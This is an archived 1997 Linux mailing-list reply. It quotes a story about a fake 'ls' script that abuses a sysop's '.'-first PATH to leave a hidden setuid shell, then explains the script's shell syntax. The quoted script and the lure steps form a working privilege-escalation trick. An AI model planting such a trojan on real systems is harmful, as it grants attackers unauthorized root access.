Mailing List Archive

Support open source code!


[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: tlug: questions and a story



--------------------------------------------------------
tlug note from James Ellison <jellison@example.com>
--------------------------------------------------------
On Wed, 5 Mar 1997, Jim Schweizer wrote:

> --------------------------------------------------------
> tlug note from Jim Schweizer <schweiz@example.com>
> --------------------------------------------------------
> These users noticed that the sysop from hell had "." at the
> beginning of his shell search path. So, our happy band of dissed
> users created an executable shell file named ls in the current
> directory.
> 
>   #!/bin/sh
>   cp /bin/sh ./stuff/junk/.superdude
>   chmod 4555 ./stuff/junk/.superdude
>   rm -f $0
>   exec /bin/ls ${1+"$@"}
> 
> Then they created:
> 
>   % cd
>   % chmod 700 .
>   % touch ./-f
> 
> and told the sysop from hell that they had a funny file in their
> directory which they couldn't delete. Well, wasn't that sysop in
> for a surprise:-0
> 
> The two things I don't get are
> 
>   rm -f $0
>         ^^ - how does the shell script assign the scalar 0=ls?

$0 is a positional paramter -- it's how you pass script arguments into the
shell script. It'll evaluate to the command, in this case ./ls. If the
sysop types 
     ls -l
then $0 will be ./ls, while $1 is -l

>   exec /bin/ls ${1+"$@"}

The $@ passes in any additional arguments to ls the sysop typed, while the
{1+word} appears to be a variant of the {1:+word} string substitution
syntax. Hmmm. In the context of what he's doing, if 1 doesn't exist then
neither would $@example.com So why the switch?  A simple
     exec /bin/ls "$@"  
should get the job done. Odd. Maybe the script was to run under a shell
that did something else with {1+word} syntax? I think this is where I
usually rip it out and redo it in perl instead. Bit too much overhead for
such a short hack though ...

--James







-----------------------------------------------------------------
a word from the sponsor will appear below
-----------------------------------------------------------------
The TLUG mailing list is proudly sponsored by TWICS - Japan's First
Public-Access Internet System.  Now offering 20,000 yen/year flat
rate Internet access with no time charges.  Full line of corporate
Internet and intranet products are available.   info@example.com
Tel: 03-3351-5977   Fax: 03-3353-6096


Home | Main Index | Thread Index

Home Page Mailing List Linux and Japan TLUG Members Links